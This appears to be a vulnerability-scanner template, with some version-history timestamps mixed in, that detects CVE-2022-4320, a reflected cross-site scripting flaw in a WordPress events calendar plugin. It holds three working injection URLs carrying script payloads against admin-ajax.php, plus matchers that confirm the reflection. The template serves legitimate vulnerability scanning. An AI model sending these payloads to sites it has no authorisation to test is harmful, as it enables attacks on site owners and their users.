2023-03-18 22:07:09 +00:00
|
|
|
id: CVE-2022-4320
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: WordPress Events Calendar Plugin - Cross-Site Scripting
|
|
|
|
author: r3Y3r53
|
|
|
|
severity: medium
|
|
|
|
description: |
|
|
|
|
WordPress Events Calendar Plugin < 1.4.5 - Multiple Reflected XSS
|
|
|
|
reference:
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-4320
|
|
|
|
- https://wpscan.com/vulnerability/f1244c57-d886-4a6e-8cdb-18404e8c153c
|
2023-03-20 07:05:15 +00:00
|
|
|
remediation: Fixed in version 1.4.5
|
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 6.1
|
|
|
|
cve-id: CVE-2022-4320
|
|
|
|
cwe-id: CWE-79
|
2023-03-18 22:07:09 +00:00
|
|
|
metadata:
|
2023-03-20 07:05:15 +00:00
|
|
|
verified: "true"
|
|
|
|
tags: calendar,event,xss,wordpress,wp,wp-plugin,cve,cve2022,wpscan
|
2023-03-18 22:07:09 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=cdaily&subaction=cd_calendar&id=XX"><script>alert(document.cookie)</script>'
|
|
|
|
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=cdaily&subaction=cd_dismisshint&callback=<script>alert(document.cookie)</script>'
|
|
|
|
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=cdaily&subaction=cd_displayday&callback=1&bymethod=&by_id=/../../../../../../r%26_=--><script>alert(document.cookie)</script>'
|
|
|
|
|
|
|
|
stop-at-first-match: true
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- 'imgNavLeftXX\"><script>alert(document.cookie)</script>'
|
|
|
|
- '<script>alert(document.cookie)</script>({});'
|
|
|
|
- '><script>alert(document.cookie)</script>.js'
|
|
|
|
condition: or
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- "text/html"
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|